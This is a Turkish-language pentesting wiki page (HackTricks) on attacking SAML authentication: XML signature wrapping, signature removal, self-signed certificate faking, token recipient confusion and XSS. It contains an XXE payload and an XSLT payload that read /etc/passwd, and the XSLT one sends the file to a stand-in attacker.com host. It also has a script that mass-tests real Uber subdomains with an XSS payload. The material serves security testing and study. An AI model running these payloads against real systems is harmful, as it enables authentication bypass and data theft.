hacktricks/pentesting-web/saml-attacks

SAML Saldırıları

SAML Saldırıları

AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

• Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
• Resmi PEASS & HackTricks ürünlerini edinin
• The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
• 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
• Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.

Temel Bilgiler

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Araç

SAMLExtractor: Bir URL veya URL listesi alabilen ve SAML tüketim URL'sini geri döndürebilen bir araç.

XML turu

XML'de XML'in imzalı kısmı bellekte saklanır, ardından bazı kodlama/çözme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/çözme işlemi veriyi değiştirmemelidir, ancak bu senaryoya dayanarak, kontrol edilen veri ve orijinal veri aynı olmayabilir.

Örneğin, aşağıdaki kodu kontrol edin:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Programın REXML 3.2.4 veya daha eski sürümleriyle çalıştırılması aşağıdaki çıktıyı verecektir:

First child in original doc: Y
First child after round-trip: Z

Bu, yukarıdaki programdan REXML'in orijinal XML belgesini nasıl gördüğünü göstermektedir:

Ve bu, ayrıştırma ve seri hale getirme aşamasından sonra nasıl gördüğünü göstermektedir:

Bu zafiyet hakkında daha fazla bilgi ve nasıl istismar edileceği için:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML İmza Sarma Saldırıları

XML İmza Sarma saldırıları (XSW), düşmanlar XML belgelerinin iki farklı aşamada işlendiği durumlarda ortaya çıkan bir zafiyeti sömürür: imza doğrulama ve işlev çağrısı. Bu saldırılar XML belge yapısını değiştirmeyle ilgilidir. Özellikle, saldırgan, XML İmza'nın geçerliliğini tehlikeye atmayan sahte öğeler enjekte eder. Bu manipülasyon, uygulama mantığı tarafından analiz edilen öğeler ile imza doğrulama modülü tarafından kontrol edilen öğeler arasında bir uyumsuzluk yaratmayı amaçlar. Sonuç olarak, XML İmza teknik olarak geçerli ve doğrulamayı geçerken, uygulama mantığı sahte öğeleri işler. Sonuç olarak, saldırgan XML İmza'nın bütünlük korumasını ve köken doğrulamasını etkili bir şekilde atlayarak, tespit edilmeden keyfi içerik enjekte etmeyi mümkün kılar.

Aşağıdaki saldırılar bu blog yazısına ve bu makaleye dayanmaktadır. Daha fazla ayrıntı için bunları kontrol edin.

XSW #1

• Strateji: İmza içeren yeni bir kök öğe eklenir.
• Sonuç: Doğrulayıcı, meşru "Response -> Assertion -> Subject" ve saldırganın "kötü yeni Response -> Assertion -> Subject" arasında karışabilir, veri bütünlüğü sorunlarına yol açabilir.

XSW #2

• XSW #1'den Farkı: Bir sarmalama imzası yerine ayrılmış bir imza kullanır.
• Sonuç: XSW #1'e benzer "kötü" yapı, bütünlük kontrolünden sonra iş mantığını aldatmayı amaçlar.

XSW #3

• Strateji: Orijinal assertion ile aynı hiyerarşik düzeyde kötü niyetli bir Assertion oluşturulur.
• Sonuç: İş mantığını yanıltarak kötü niyetli verilerin kullanılmasını amaçlar.

XSW #4

• XSW #3'ten Farkı: Orijinal Assertion, çoğaltılmış (kötü niyetli) Assertion'ın bir çocuğu haline gelir.
• Sonuç: XSW #3'e benzer, ancak XML yapısını daha agresif bir şekilde değiştirir.

XSW #5

• Özgün Yön: Ne İmza ne de orijinal Assertion standart yapılandırmalara (sarmalama/sarmalama/detached) uymaz.
• Sonuç: Kopyalanan Assertion, beklenen belge yapısını değiştirerek İmza'yı sarmalar.

XSW #6

• Strateji: XSW #4 ve #5 ile benzer konum ekleme, ancak bir farkla.
• Sonuç: Kopyalanan Assertion, ardından orijinal Assertion'ı saran İmza'yı saran bir iç içe alınmış aldatıcı bir yapı oluşturur.

XSW #7

• Strateji: Kopyalanan Assertion'ın bir çocuğu olarak bir Uzantılar öğesi eklenir.
• Sonuç: Bu, özellikle OpenSAML gibi kütüphanelerde şema doğrulama karşı önlemlerini atlamak için Uzantılar öğesinin daha az kısıtlayıcı şemasını istismar eder.

XSW #8

• XSW #7'den Farkı: Başka bir daha az kısıtlayıcı XML öğesini saldırının bir varyantı için kullanır.
• Sonuç: Orijinal Assertion, XSW #7'de kullanılan yapıyı tersine çeviren daha az kısıtlayıcı öğenin bir çocuğu haline gelir.

Araç

SAML isteğini ayrıştırmak, istediğiniz herhangi bir XSW saldırısını uygulamak ve başlatmak için Burp uzantısı SAML Raider'ı kullanabilirsiniz.

XXE

XXE saldırılarının hangi tür saldırılar olduğunu bilmiyorsanız, lütfen aşağıdaki sayfayı okuyun:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML Yanıtları, sıkıştırılmış ve base64 kodlanmış XML belgeleri olup XML Dışı Varlık (XXE) saldırılarına karşı hassas olabilir. SAML Yanıtının XML yapısını manipüle ederek, saldırganlar XXE zafiyetlerini istismar etmeye çalışabilir. İşte böyle bir saldırının nasıl görselleştirilebileceği:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Araçlar

Ayrıca, olası XXE zafiyetlerini ve SAML zafiyetlerini test etmek için bir SAML isteğinden POC oluşturmak için Burp eklentisi SAML Raider kullanabilirsiniz.

Ayrıca bu konuşmayı da kontrol edin: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML Aracılığıyla XSLT

XSLT hakkında daha fazla bilgi için şuraya gidin:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Genişletilebilir Stil Şablonu Dönüşümleri (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli formatlara dönüştürmek için kullanılabilir. Önemli olan nokta, XSLT dönüşümlerinin dijital imzanın doğrulanmasından önce gerçekleştirilmesidir. Bu, geçerli bir imza olmadan bile saldırının başarılı olabileceği anlamına gelir; kendinden imzalı veya geçersiz bir imza yeterlidir.

Bu tür zafiyetleri kontrol etmek için bir POC bulabilirsiniz, bu bölümün başında bahsedilen hacktricks sayfasında payloadlar bulabilirsiniz.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Araç

Ayrıca, olası XSLT zafiyetlerini test etmek için bir SAML isteğinden POC üretmek için Burp eklentisi olan SAML Raider kullanabilirsiniz.

Ayrıca bu konuşmayı da kontrol edin: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML İmza Hariç Tutma

XML İmza Hariç Tutma, İmza öğesi bulunmadığında SAML uygulamalarının davranışını gözlemlemektedir. Bu öğe eksik olduğunda, imza doğrulaması gerçekleşmeyebilir, bu da zafiyete neden olur. Bu, genellikle imza tarafından doğrulanan içerikleri değiştirerek test edilebilir.

Araç

Ayrıca, Burp eklentisi olan SAML Raider'ı da kullanabilirsiniz. SAML Yanıtını yakalayın ve İmzaları Kaldır düğmesine tıklayın. Böylelikle tüm İmza öğeleri kaldırılır.

İmzalar kaldırıldıktan sonra isteğin hedefe gitmesine izin verin. Eğer İmza, Hizmet tarafından gerekli değilse

Sertifika Sahteciliği

Sertifika Sahteciliği, bir Hizmet Sağlayıcının (SP) bir SAML İletisinin güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için bir tekniktir. Bu, SAML Raider Burp eklentisini kullanarak bir *kendinden imzalı sertifika kullanarak SAML Yanıtını veya İddia'yı imzalamayı içerir ve SP ve IdP arasındaki güven doğrulama sürecini değerlendirmede yardımcı olur.

Sertifika Sahteciliği Nasıl Yapılır

Aşağıdaki adımlar, SAML Raider Burp eklentisini kullanarak süreci açıklar:

1. SAML Yanıtını yakalayın.
2. Yanıt bir imza içeriyorsa, sertifikayı SAML Raider Certs'e Sertifikayı SAML Raider Certs'e Gönder düğmesini kullanarak gönderin.
3. SAML Raider Sertifikaları sekmesinde, içe aktarılan sertifikayı seçin ve orijinal sertifikanın kendinden imzalı bir klonunu oluşturmak için Kaydet ve Kendinden İmzala düğmesine tıklayın.
4. Burp'un Proxy'sindeki yakalanan isteğe geri dönün. XML İmza açılır menüsünden yeni kendinden imzalı sertifikayı seçin.
5. İmzaları Kaldır düğmesiyle mevcut imzaları kaldırın.
6. İletiyi veya iddiayı yeni sertifika ile imzalayın, uygun olan (Yeniden) İleti İmzala veya (Yeniden) İddia İmzala düğmesini kullanarak.
7. İmzalı iletiyi ileterek işlemi tamamlayın. Başarılı kimlik doğrulama, SP'nin kendinden imzalı sertifikanızla imzalanan iletileri kabul ettiğini gösterir ve SAML iletilerinin doğrulama sürecindeki potansiyel zafiyetleri ortaya çıkarır.

Token Alıcı Karışıklığı / Hizmet Sağlayıcı Hedef Karışıklığı

Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, bir Hizmet Sağlayıcının yanıtın amaçlanan alıcısını doğru bir şekilde doğrulayıp doğrulamadığını kontrol etmeyi içerir. Temelde, bir Hizmet Sağlayıcı, yanıtın başka bir sağlayıcı için mi yoksa kendisi için mi olduğunu belirlemeli ve yanıt başka bir sağlayıcı içinse kimlik doğrulamasını reddetmelidir. Buradaki kritik unsur, bir SAML Yanıtının SubjectConfirmationData öğesinin içinde bulunan Alıcı alanıdır. Bu alan, İddianın gönderilmesi gereken bir URL'yi belirtir. Gerçek alıcı, amaçlanan Hizmet Sağlayıcıyla eşleşmiyorsa, İddia geçersiz kabul edilmelidir.

Nasıl Çalışır

Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekmektedir. İlk olarak, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkinci olarak, hedeflenen Hizmet Sağlayıcı (SP-Target), SP-Legit'e hizmet veren aynı Kimlik Sağlayıcıdan tokenları kabul etmelidir.

Bu koşullar altında saldırı süreci basittir. Paylaşılan Kimlik Sağlayıcı aracılığıyla SP-Legit ile otantik bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e yönelik SAML Yanıtı yakalanır. Bu SP-Legit için orijinal olarak amaçlanan SAML Yanıtı, SP-Target'e yönlendirilir. Bu saldırıda başarı, SP-Target'in İddiayı kabul etmesi ve SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişimi sağlamasıyla ölçülür.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Logout işlevinde XSS

Orijinal araştırmaya bu bağlantı üzerinden erişilebilir.

Dizin brute force işlemi sırasında, bir logout sayfası keşfedildi:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Bu bağlantıya erişildiğinde, bir yönlendirme gerçekleşti:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Bu, base parametresinin bir URL kabul ettiğini ortaya çıkardı. Buna göre, URL'yi javascript:alert(123); ile değiştirerek XSS (Cross-Site Scripting) saldırısı başlatma girişiminde bulunma fikri ortaya çıktı.

Kitlesel Sömürü

Şu araştırmadan yola çıkarak:

uberinternal.com alt alan adlarını analiz etmek için SAMLExtractor aracı kullanıldı ve aynı kütüphaneyi kullanan alan adları tespit edildi. Ardından, oidauth/prompt sayfasını hedefleyen bir betik geliştirildi. Bu betik, veri girişi yaparak çıktıda yansıtılıp yansıtılmadığını kontrol ederek XSS (Cross-Site Scripting) testi yapar. Giriş yansıtılıyorsa, betik sayfayı savunmasız olarak işaretler.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referanslar

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

• Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
• Resmi PEASS & HackTricks ürünlerini edinin
• Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'yi keşfedin
• 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
• Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.